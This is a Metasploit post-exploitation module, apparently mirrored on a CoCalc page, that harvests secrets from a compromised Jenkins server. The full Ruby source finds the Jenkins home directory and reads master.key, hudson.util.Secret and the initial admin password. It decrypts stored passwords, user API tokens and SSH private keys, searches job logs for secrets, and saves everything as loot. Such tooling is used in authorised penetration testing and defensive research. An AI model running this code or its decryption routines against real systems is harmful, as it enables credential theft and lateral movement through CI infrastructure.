CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/jenkins_gather.rb
Views: 1904
1
require 'nokogiri'
2
require 'base64'
3
require 'digest'
4
require 'openssl'
5
require 'sshkey'
6
7
class MetasploitModule < Msf::Post
8
include Msf::Post::File
9
include Msf::Post::Linux::System
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Jenkins Credential Collector',
16
'Description' => %q{
17
This module can be used to extract saved Jenkins credentials, user
18
tokens, SSH keys, and secrets. Interesting files will be stored in
19
loot along with combined csv output.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'thesubtlety' ],
23
'Platform' => [ 'linux', 'win' ],
24
'SessionTypes' => %w[shell meterpreter],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
stdapi_fs_search
29
]
30
}
31
}
32
)
33
)
34
register_options(
35
[
36
OptString.new('JENKINS_HOME', [ false, 'Set to the home directory of Jenkins. The Linux versions default to /var/lib/jenkins, but C:\\\\ProgramData\\\\Jenkins\\\\.jenkins on Windows.', ]),
37
OptBool.new('STORE_LOOT', [false, 'Store files in loot (will simply output file to console if set to false).', true]),
38
OptBool.new('SEARCH_JOBS', [false, 'Search through job history logs for interesting keywords. Increases runtime.', false])
39
]
40
)
41
42
@nodes = []
43
@creds = []
44
@ssh_keys = []
45
@api_tokens = []
46
end
47
48
def report_creds(user, pass)
49
return if user.blank? || pass.blank?
50
51
credential_data = {
52
origin_type: :session,
53
post_reference_name: fullname,
54
private_data: pass,
55
private_type: :password,
56
session_id: session_db_id,
57
username: user,
58
workspace_id: myworkspace_id
59
}
60
61
create_credential(credential_data)
62
end
63
64
def parse_credentialsxml(file)
65
# Newer versions of Jenkins do not create `credentials.xml` until credentials have been added via Jenkins client
66
# tested on versions 2.401.1, 2.346.3
67
if exists?(file)
68
vprint_status('Parsing credentials.xml...')
69
f = read_file(file)
70
if datastore['STORE_LOOT']
71
loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
72
vprint_status("File credentials.xml saved to #{loot_path}")
73
end
74
else
75
vprint_status('There is no credential.xml file present')
76
end
77
78
xml_doc = Nokogiri::XML(f)
79
xml_doc.xpath('//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl').each do |node|
80
username = node.xpath('username').text
81
password = decrypt(node.xpath('password').text)
82
description = node.xpath('description').text
83
print_good("Credentials found - Username: #{username} Password: #{password}")
84
report_creds(username, password)
85
@creds << [username, password, description]
86
end
87
88
xml_doc.xpath('//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey').each do |node|
89
cred_id = node.xpath('id').text
90
username = node.xpath('username').text
91
description = node.xpath('description').text
92
passphrase = node.xpath('passphrase').text
93
passphrase = decrypt(passphrase)
94
private_key = node.xpath('//privateKeySource//privateKey').text
95
private_key = decrypt(private_key) if !private_key.match?(/----BEGIN/)
96
print_good("SSH Key found! ID: #{cred_id} Passphrase: #{passphrase || '<empty>'} Username: #{username} Description: #{description}")
97
98
store_loot("ssh-#{cred_id}", 'text/plain', session, private_key, nil, nil) if datastore['STORE_LOOT']
99
@ssh_keys << [cred_id, description, passphrase, username, private_key]
100
101
begin
102
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
103
key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)
104
credential_data = {
105
origin_type: :session,
106
session_id: session_db_id,
107
post_reference_name: refname,
108
private_type: :ssh_key,
109
private_data: key.key_object.to_s,
110
username: cred_id,
111
workspace_id: myworkspace_id
112
}
113
create_credential(credential_data)
114
rescue OpenSSL::OpenSSLError => e
115
print_error("Could not save SSH key to creds: #{e.message}")
116
end
117
end
118
end
119
120
def parse_users(file)
121
f = read_file(file)
122
fname = file.tr('\\', '/').split('/')[-2]
123
vprint_status("Parsing user #{fname}...")
124
125
username = ''
126
api_token = ''
127
xml_doc = Nokogiri::XML(f)
128
xml_doc.xpath('//user').each do |node|
129
username = node.xpath('fullName').text
130
end
131
132
xml_doc.xpath('//jenkins.security.ApiTokenProperty').each do |node|
133
api_token = decrypt(node.xpath('apiToken').text)
134
end
135
136
if api_token
137
print_good("API Token found - Username: #{username} Token: #{api_token}")
138
@api_tokens << [username, api_token]
139
report_creds(username, api_token)
140
store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
141
end
142
end
143
144
def parse_nodes(file)
145
f = read_file(file)
146
fname = file.tr('\\', '/').split('/')[-2]
147
vprint_status("Parsing node #{fname}...")
148
149
node_name = ''
150
description = ''
151
host = ''
152
port = ''
153
cred_id = ''
154
xml_doc = Nokogiri::XML(f)
155
xml_doc.xpath('//slave').each do |node|
156
node_name = node.xpath('name').text
157
description = node.xpath('description').text
158
end
159
160
xml_doc.xpath('//launcher').each do |node|
161
host = node.xpath('host').text
162
port = node.xpath('port').text
163
cred_id = node.xpath('credentialsId').text
164
end
165
166
@nodes << [node_name, host, port, description, cred_id]
167
print_good("Node Info found - Name: #{node_name} Host: #{host} Port: #{port} CredID: #{cred_id}")
168
store_loot("node-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
169
end
170
171
def parse_jobs(file)
172
f = read_file(file)
173
fname = file.tr('\\', '/').split('/')[-4]
174
vprint_status("Parsing job #{fname}...")
175
176
username = ''
177
pw = ''
178
job_name = file.split(%r{/jobs/(.*?)/builds/})[1]
179
xml_doc = Nokogiri::XML(f)
180
xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|
181
username = node.xpath('name').text
182
pw = decrypt(node.xpath('value').text)
183
end
184
185
@creds << [username, pw, '']
186
print_good("Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}") if !pw.blank?
187
store_loot("job-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
188
end
189
190
def pretty_print_gathered
191
creds_table = Rex::Text::Table.new(
192
'Header' => 'Creds',
193
'Indent' => 1,
194
'Columns' =>
195
[
196
'Username',
197
'Password',
198
'Description'
199
]
200
)
201
@creds.uniq.each { |e| creds_table << e }
202
print_good("\n" + creds_table.to_s) if !creds_table.rows.count.zero?
203
store_loot('all.creds.csv', 'text/plain', session, creds_table.to_csv, nil, nil) if datastore['STORE_LOOT']
204
205
api_table = Rex::Text::Table.new(
206
'Header' => 'API Keys',
207
'Indent' => 1,
208
'Columns' =>
209
[
210
'Username',
211
'API Tokens'
212
]
213
)
214
@api_tokens.uniq.each { |e| api_table << e }
215
print_good("\n" + api_table.to_s) if !api_table.rows.count.zero?
216
store_loot('all.apitokens.csv', 'text/plain', session, api_table.to_csv, nil, nil) if datastore['STORE_LOOT']
217
218
node_table = Rex::Text::Table.new(
219
'Header' => 'Nodes',
220
'Indent' => 1,
221
'Columns' =>
222
[
223
'Node Name',
224
'Hostname',
225
'Port',
226
'Description',
227
'Cred Id'
228
]
229
)
230
@nodes.uniq.each { |e| node_table << e }
231
print_good("\n" + node_table.to_s) if !node_table.rows.count.zero?
232
store_loot('all.nodes.csv', 'text/plain', session, node_table.to_csv, nil, nil) if datastore['STORE_LOOT']
233
234
@ssh_keys.uniq.each do |e|
235
print_good('SSH Key')
236
print_status(" ID: #{e[0]}")
237
print_status(" Description: #{e[1]}") if !e[1].blank?
238
print_status(" Passphrase: #{e[2]}") if !e[2].blank?
239
print_status(" Username: #{e[3]}") if !e[3].blank?
240
print_status("\n#{e[4]}")
241
end
242
ssh_output = @ssh_keys.each { |e| e.join(',') + "\n\n\n" }
243
store_loot('all.sshkeys', 'text/plain', session, ssh_output, nil, nil) if datastore['STORE_LOOT'] && !ssh_output.empty?
244
end
245
246
def grep_job_history(path, platform)
247
print_status('Searching through job history for interesting keywords...')
248
case platform
249
when 'windows'
250
results = cmd_exec('cmd.exe', "/c findstr /s /i \"secret key token password\" \"#{path}*log\"")
251
when 'nix'
252
results = cmd_exec('/bin/egrep', "-ir \"password|secret|key\" --include log \"#{path}\"")
253
end
254
store_loot('jobhistory.truffles', 'text/plain', session, results, nil, nil) if datastore['STORE_LOOT'] && !results.empty?
255
print_good("Job Log truffles:\n#{results}") if !results.empty?
256
end
257
258
def find_configs(path, platform)
259
case platform
260
261
when 'windows'
262
case session.type
263
when 'meterpreter'
264
configs = ''
265
c = session.fs.file.search(path, 'config.xml', true, -1) \
266
.concat(session.fs.file.search(path, 'build.xml', true, -1))
267
c.each { |f| configs << f['path'] + '\\' + f['name'] + "\n" }
268
else
269
configs = cmd_exec('cmd.exe', "/c dir /b /s \"#{path}\\*config.xml\" \"#{path}\\*build.xml\"")
270
end
271
configs.split("\n").each do |f|
272
case f
273
when /\\users\\/
274
parse_users(f)
275
when /\\jobs\\/
276
parse_jobs(f)
277
when /\\nodes\\/
278
parse_nodes(f)
279
end
280
end
281
282
when 'nix'
283
configs = cmd_exec('/usr/bin/find', "\"#{path}\" -name config.xml -o -name build.xml")
284
configs.split("\n").each do |f|
285
case f
286
when %r{/users/}
287
parse_users(f)
288
when %r{/jobs/}
289
parse_jobs(f)
290
when %r{/nodes/}
291
parse_nodes(f)
292
end
293
end
294
end
295
end
296
297
def get_key_material(home, platform)
298
case platform
299
when 'windows'
300
master_key_path = "#{home}\\secrets\\master.key"
301
hudson_secret_key_path = "#{home}\\secrets\\hudson.util.Secret"
302
initial_admin_password_path = "#{home}\\secrets\\initialAdminPassword"
303
when 'nix'
304
master_key_path = "#{home}/secrets/master.key"
305
hudson_secret_key_path = "#{home}/secrets/hudson.util.Secret"
306
initial_admin_password_path = "#{home}/secrets/initialAdminPassword"
307
end
308
309
# Newer versions of Jenkins have an `initialAdminPassword` which contains the initial password set when configuring Jenkins
310
# tested on versions 2.401.1, 2.346.3, 2.103
311
if exists?(initial_admin_password_path)
312
initial_admin_password = read_file(initial_admin_password_path).strip
313
314
if datastore['STORE_LOOT']
315
loot_path = store_loot('initialAdminPassword', 'text/plain', session, initial_admin_password)
316
print_status("File initialAdminPassword saved to #{loot_path}")
317
else
318
print_status("File initialAdminPassword contents: #{initial_admin_password}")
319
end
320
else
321
print_error 'Cannot read initialAdminPassword...'
322
end
323
324
if exists?(master_key_path)
325
@master_key = read_file(master_key_path)
326
327
if datastore['STORE_LOOT']
328
loot_path = store_loot('master.key', 'text/plain', session, @master_key)
329
print_status("File master.key saved to #{loot_path}")
330
else
331
print_status("File master.key contents: #{@master_key}")
332
end
333
else
334
print_error 'Cannot read master.key...'
335
end
336
337
# Newer versions of Jenkins do not create `hudson.util.Secret` until credentials have been added via Jenkins client
338
# tested on versions 2.401.1, 2.346.3
339
if exists?(hudson_secret_key_path)
340
@hudson_secret_key = read_file(hudson_secret_key_path)
341
342
if datastore['STORE_LOOT']
343
loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
344
print_status("File hudson.util.Secret saved to #{loot_path}")
345
end
346
else
347
print_error 'Cannot read hudson.util.Secret...'
348
end
349
end
350
351
def find_home(platform)
352
if datastore['JENKINS_HOME']
353
if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
354
return datastore['JENKINS_HOME']
355
end
356
print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
357
end
358
359
print_status('Searching for Jenkins directory... This could take some time...')
360
case platform
361
when 'windows'
362
if exists?('C:\\ProgramData\\Jenkins\\.jenkins\\secret.key.not-so-secret')
363
home = 'C:\\ProgramData\\Jenkins\\.jenkins\\'
364
else
365
case session.type
366
when 'meterpreter'
367
home = session.fs.file.search(nil, 'secret.key.not-so-secret')[0]['path']
368
else
369
home = cmd_exec('cmd.exe', "/c dir /b /s c:\*secret.key.not-so-secret", 120).split('\\')[0..-2].join('\\').strip
370
end
371
end
372
when 'nix'
373
if exists?('/var/lib/jenkins/secret.key.not-so-secret')
374
home = '/var/lib/jenkins/'
375
else
376
home = cmd_exec('find', "/ -name 'secret.key.not-so-secret' 2>/dev/null", 120).split('/')[0..-2].join('/').strip
377
end
378
end
379
fail_with(Failure::NotFound, 'No Jenkins installation found or readable, exiting...') if !exist?(home)
380
print_status("Found Jenkins installation at #{home}")
381
home
382
end
383
384
def gathernix
385
home = find_home('nix')
386
get_key_material(home, 'nix')
387
parse_credentialsxml(home + '/credentials.xml')
388
find_configs(home, 'nix')
389
grep_job_history(home + '/jobs/', 'nix') if datastore['SEARCH_JOBS']
390
pretty_print_gathered
391
end
392
393
def gatherwin
394
home = find_home('windows')
395
get_key_material(home, 'windows')
396
parse_credentialsxml(home + '\\credentials.xml')
397
find_configs(home, 'windows')
398
grep_job_history(home + '\\jobs\\', 'windows') if datastore['SEARCH_JOBS']
399
pretty_print_gathered
400
end
401
402
def run
403
case session.platform
404
when 'linux'
405
gathernix
406
else
407
gatherwin
408
end
409
end
410
411
def decrypt_key(master_key, hudson_secret_key)
412
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
413
magic = '::::MAGIC::::'
414
hashed_master_key = Digest::SHA256.digest(master_key)[0..15]
415
intermediate = OpenSSL::Cipher.new('AES-128-ECB')
416
intermediate.decrypt
417
intermediate.key = hashed_master_key
418
419
salted_final = intermediate.update(hudson_secret_key) + intermediate.final
420
raise 'no magic key in a' if !salted_final.include?(magic)
421
422
salted_final[0..15]
423
end
424
425
def decrypt_v2(encrypted)
426
master_key = @master_key
427
hudson_secret_key = @hudson_secret_key
428
key = decrypt_key(master_key, hudson_secret_key)
429
encrypted_text = Base64.decode64(encrypted).bytes
430
431
iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
432
data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
433
if encrypted_text.length != (1 + 8 + iv_length + data_length)
434
print_error("Invalid encrypted string: #{encrypted}")
435
end
436
iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
437
code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
438
439
cipher = OpenSSL::Cipher.new('AES-128-CBC')
440
cipher.decrypt
441
cipher.key = key
442
cipher.iv = iv
443
444
text = cipher.update(code) + cipher.final
445
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
446
text
447
rescue StandardError => e
448
print_error(e.to_s)
449
return 'Could not decrypt string'
450
end
451
452
def decrypt_legacy(encrypted)
453
# https://gist.github.com/juyeong/081379bd1ddb3754ed51ab8b8e535f7c
454
455
magic = '::::MAGIC::::'
456
master_key = @master_key
457
hudson_secret_key = @hudson_secret_key
458
encrypted = Base64.decode64(encrypted)
459
460
key = decrypt_key(master_key, hudson_secret_key)
461
cipher = OpenSSL::Cipher.new('AES-128-ECB')
462
cipher.decrypt
463
cipher.key = key
464
465
text = cipher.update(encrypted) + cipher.final
466
text = text[0..(text.length - magic.size - 1)]
467
text = Digest::MD5.new.update(text).hexdigest if text.length == 32 # Assuming token
468
text
469
rescue StandardError => e
470
print_error(e.to_s)
471
return 'Could not decrypt string'
472
end
473
474
def decrypt(encrypted)
475
return if encrypted.empty?
476
477
if encrypted[0] == '{' && encrypted[-1] == '}'
478
decrypt_v2(encrypted)
479
else
480
decrypt_legacy(encrypted)
481
end
482
end
483
end
484
485